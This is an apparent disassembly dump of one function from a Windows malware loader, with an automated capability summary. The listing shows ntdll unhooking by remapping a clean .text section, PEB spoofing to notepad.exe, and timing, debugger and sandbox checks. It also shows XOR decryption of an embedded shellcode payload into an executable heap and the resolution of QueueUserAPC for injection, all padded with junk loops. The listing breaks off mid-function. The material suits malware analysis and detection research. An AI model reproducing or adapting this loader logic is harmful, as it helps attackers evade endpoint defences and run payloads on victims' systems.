Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x930
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x8d0], ecx
mov qword [rbp + 0x8d8], rdx
call fcn.140002a70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x848], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x840], rax
mov ecx, 0x30c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x838], rax
mov ecx, 0x30c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x830], rax
mov ecx, 0x30c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x828], rax
mov ecx, 0x30c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x820], rax
mov dword [rbp + 0x8a8], 0xc2
mov dword [rbp + 0x8ac], 0
jmp 0x140001611
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x838]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x830]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x8a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x838]
add rax, rdx
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x828]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x8a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x830]
add rax, rdx
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x820]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x8a8], 1
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0xc2
jle 0x140001505
mov rax, qword [rbp + 0x838]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x830]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x828]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x820]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x818], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
jne 0x1400016e1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
je 0x140001a79
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x660]
mov rax, qword [rbp + 0x818]
mov r10, qword [rbp + 0x8a0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x810], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x808], rax
mov rax, qword [rbp + 0x808]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x800], rax
mov dword [rbp + 0x89c], 0xffffffff
add dword [rbp + 0x89c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x32e
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d40
movq rax, xmm0
mov qword [rbp + 0x7f8], rax
cmp dword [rbp + 0x89c], 0x3d6
jle 0x1400017b7
mov rax, qword [rbp + 0x800]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x810]
add rax, rdx
mov qword [rbp + 0x7e0], rax
mov word [rbp + 0x89a], 0
jmp 0x140001a61
mov rax, qword [rbp + 0x7e0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7e0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x89a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a50
mov dword [rbp + 0x894], 0
jmp 0x140001919
call sub.msvcrt.dll_rand
imul eax, eax, 0x1b8
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d40
movq rax, xmm0
mov qword [rbp + 0x7c8], rax
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x2c6
jle 0x1400018d8
mov dword [rbp + 0x628], 0
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x810]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x628]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x890], 0xffffffff
add dword [rbp + 0x890], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a60
movq rax, xmm0
mov qword [rbp + 0x7d0], rax
cmp dword [rbp + 0x890], 0x156
jle 0x140001977
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x810]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x628]
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x810]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x628]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x89a]
add eax, 1
mov word [rbp + 0x89a], ax
mov rax, qword [rbp + 0x7e0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x89a], ax
jb 0x140001872
mov ecx, 0xbe8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x88c], 0
jmp 0x140001ae3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x88c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x2f9
jle 0x140001a96
mov dword [rbp + 0x88c], 0
jmp 0x140001bd3
cmp dword [rbp + 0x88c], 0
je 0x140001b43
mov eax, dword [rbp + 0x88c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x88c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001b4f
add dword [rbp + 0x88c], 1
jmp 0x140001bd3
mov eax, dword [rbp + 0x88c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x67c], eax
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov edx, dword [rbp + 0x88c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x7c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x88c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x67c]
mov dword [rdx], eax
sub dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x2f9
jle 0x140001afe
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x62c], 0
mov dword [rbp + 0x7bc], 0
mov dword [rbp + 0x880], 0
mov ecx, 0x2420
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x888], 0
jmp 0x140001cec
mov dword [rbp + 0x884], 0
jmp 0x140001cd8
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x888]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x7b0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x884]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x888]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
add rdx, rax
mov eax, dword [rbp + 0x884]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001cd1
add dword [rbp + 0x880], 1
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x21
jle 0x140001c3f
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x43
jle 0x140001c30
cmp dword [rbp + 0x880], 0x484
jne 0x140001d0f
mov dword [rbp + 0x7bc], 1
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x848]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
lea rax, [rbp + 0x62c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7a8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x638]
add rax, 0x3c
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7a0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
call rax
mov dword [rbp + 0x794], eax
mov ecx, 0x377
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x798]
call rax
mov dword [rbp + 0x790], eax
mov eax, dword [rbp + 0x790]
sub eax, dword [rbp + 0x794]
cmp eax, 0x345
jbe 0x1400029aa
mov dword [rbp + 0x78c], 0x20e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
call rax
mov dword [rbp + 0x774], eax
mov eax, dword [rbp + 0x78c]
mov r8, qword [rbp + 0x780]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x778]
call rax
mov dword [rbp + 0x770], eax
mov eax, dword [rbp + 0x770]
sub eax, dword [rbp + 0x774]
cmp eax, 0x1dc
jbe 0x1400029aa
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov ecx, 0x317
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x2e5
jbe 0x1400029aa
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x1400029aa
mov rax, qword [rbp + 0x758]
mov edx, 0x582
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x754], eax
mov dword [rbp + 0x750], 0x3d9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov eax, dword [rbp + 0x750]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x3a7
jbe 0x1400029aa
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140002077
mov rax, qword [rbp + 0x738]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov ecx, 0
call rax
mov dword [rbp + 0x87c], eax
cmp dword [rbp + 0x87c], 0xffffffff
je 0x1400029aa
mov dword [rbp + 0x624], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x624]
mov r8, qword [rbp + 0x728]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x624]
cmp eax, 1
je 0x1400029aa
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
jne 0x1400029aa
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
jne 0x1400029aa
mov dword [rbp + 0x70c], 0x263
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x70c]
mov r8, qword [rbp + 0x700]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x231
jbe 0x1400029aa
lea rax, [rbp + 0x120]
lea rdx, [0x140006130]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x840]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x840]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 0
mov edx, 0x4f8
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x4f8
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x6d0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0x4f8
mov rcx, rax
call r9
mov dword [rbp + 0x878], 0
mov dword [rbp + 0x874], 0
mov dword [rbp + 0x870], 0
mov ecx, 0x2b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x868], 0
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x86c], 0
jmp 0x1400023bc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0xac
jle 0x14000236f
mov dword [rbp + 0x86c], 0
mov dword [rbp + 0x86c], 0
jmp 0x14000243b
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000240a
add dword [rbp + 0x868], 1
jmp 0x140002434
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002434
add dword [rbp + 0x864], 1
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0xac
jle 0x1400023de
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xd449dbed27b6d3af
movabs rdx, 0x84dde003c8f704b0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x304bb5ff886997cc
movabs rdx, 0x80901fcb656615d
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x429dcb996d414066
movabs rdx, 0xe979c23dd0321451
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xe34eeb5c4fd7b9eb
movabs rdx, 0x76c7742bf983ccff
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x9f88dce8ce2e3999
movabs rdx, 0xd6afabef86f9b26b
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x6f26d9eda61cf7aa
movabs rdx, 0xeda2c6ca9344c267
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x8f2ea6777be322f5
movabs rdx, 0x569e00e174f7cfb8
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x48c30e599847d056
movabs rdx, 0xabd1f8aba24e9f
mov qword [rbp + 0x10f], rax
mov qword [rbp + 0x117], rdx
mov ecx, 0x3bc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov ecx, 0x3bc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x85c], 0xee
mov dword [rbp + 0x860], 0
jmp 0x1400025eb
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0xee
jle 0x14000259e
mov dword [rbp + 0x860], 0
jmp 0x14000264a
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x85c], 1
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0xee
jle 0x140002603
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xcca699770f8bb2b2
movabs rdx, 0x4424d68e3e9e1998
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xbed1c92ef89dbae0
movabs rdx, 0x627bbb3033d4230d
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xd0ba8e6ec746ca0a
movabs rdx, 0xc71fdcb67f1995aa
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xce8f6f23b63c0a03
movabs rdx, 0xa67bc6b63d48ec2e
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xf8e94a77d7de6a09
movabs rdx, 0xf946d45acb2fbc4b
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov dword [rbp + 0x10], 0x27394f
jmp 0x140002854
cmp dword [rbp + 0x874], 0x52
jne 0x1400027c6
mov dword [rbp + 0x858], 0xffffffff
add dword [rbp + 0x858], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1c
add edx, eax
and edx, 0xf
sub edx, eax
mov dword [rbp + 0x68c], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x68c]
movq xmm0, rax
call fcn.140003c70
movq rax, xmm0
mov qword [rbp + 0x680], rax
cmp dword [rbp + 0x858], 0x16a
jle 0x140002723
mov eax, dword [rbp + 0x878]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x874]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x878]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x874], 0
jmp 0x14000284d
mov eax, dword [rbp + 0x878]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x874]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x878]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x854], 0
jmp 0x14000283a
call sub.msvcrt.dll_rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a60
movq rax, xmm0
mov qword [rbp + 0x690], rax
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x139
jle 0x1400027fd
add dword [rbp + 0x874], 1
add dword [rbp + 0x878], 1
mov eax, dword [rbp + 0x878]
cmp eax, 0x7d
jbe 0x14000270c
mov dword [rbp + 0x878], 0
jmp 0x140002911
cmp dword [rbp + 0x870], 0x7d
jne 0x1400028c5
mov eax, dword [rbp + 0x878]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x870]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x878]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x870], 0
jmp 0x14000290a
mov eax, dword [rbp + 0x878]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x870]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x878]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x870], 1
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x4f7
jle 0x140002872
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x840]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x840]
lea rdx, str.SleepEx
mov rcx, rax
